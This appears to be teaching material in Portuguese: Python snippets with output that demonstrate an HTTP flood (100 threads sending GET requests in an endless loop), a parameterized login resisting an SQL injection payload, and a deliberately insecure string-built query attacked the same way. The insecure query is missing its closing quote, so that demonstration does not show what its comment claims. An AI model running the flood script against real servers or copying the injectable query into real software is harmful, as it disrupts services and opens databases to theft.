

```

import requests
import threading
# Função para fazer múltiplas requisições ao servidor
def send_request(url):
    while True:
        try:
            response = requests.get(url)
            print(f"Requisição enviada com status: {response.status_code}")
        except requests.exceptions.RequestException as e:
            print(f"Erro: {e}")
# URL de teste (use uma URL de um ambiente controlado)
target_url = 'http://example.com'
# Criar múltiplas threads para simular o ataque
threads = []
for i in range(100): # Número de requisições simultâneas
    thread = threading.Thread(target=send_request, args=(target_url,))
    threads.append(thread)
    thread.start()

```

```

Requisição enviada com status: 200
Requisição enviada com status: 200
Requisição enviada com status: 200
Requisição enviada com status: 200
Requisição enviada com status: 200
Requisição enviada com status: 200
Requisição enviada com status: 200
Requisição enviada com status: 200
Requisição enviada com status: 200
Requisição enviada com status: 200
Requisição enviada com status: 200
Requisição enviada com status: 200
Requisição enviada com status: 200
Requisição enviada com status: 200
Requisição enviada com status: 200

```

```

1 import sqlite3
2
3 # Conectando ao banco de dados em memória
4 connection = sqlite3.connect(':memory:')
5 cursor = connection.cursor()
6
7 # Criando uma tabela e inserindo dados
8 cursor.execute('''CREATE TABLE users (id INTEGER PRIMARY KEY, username TEXT, password TEXT)''')
9 cursor.execute("INSERT INTO users (username, password) VALUES ('admin', 'admin123')")
10 cursor.execute("INSERT INTO users (username, password) VALUES ('user', 'user123')")
11 connection.commit()
12
13 # Função de login segura
14 def login(username, password):
15     query = "SELECT * FROM users WHERE username = ? AND password = ?"
16     cursor.execute(query, (username, password))
17     return cursor.fetchone()
18
19 # Testando o login com SQL Injection
20 user = login("admin", "' OR '1'='1")
21 print("Usuário encontrado:", user)
22
23 # Fechando a conexão
24 connection.close()

```

Usuário encontrado: None

```
import sqlite3
# Conectando ao banco de dados em memória
connection = sqlite3.connect(':memory:')
cursor = connection.cursor()
# Criando uma tabela e inserindo dados
cursor.execute('''CREATE TABLE products (id INTEGER PRIMARY KEY, name TEXT, price REAL)''')
cursor.execute("INSERT INTO products (name, price) VALUES ('Notebook', 2000.0)")
cursor.execute("INSERT INTO products (name, price) VALUES ('Smartphone', 1500.0)")
connection.commit()
# Função de busca de produtos insegura
def search_product(product_name):
    query = f"SELECT * FROM products WHERE name LIKE '%{product_name}%"
    cursor.execute(query)
    return cursor.fetchall()
# Testando a busca com SQL Injection
products = search_product("Notebook' OR '1'='1")
print("Produtos encontrados:", products)
connection.close()
```

Produtos encontrados: [(1, 'Notebook', 2000.0)]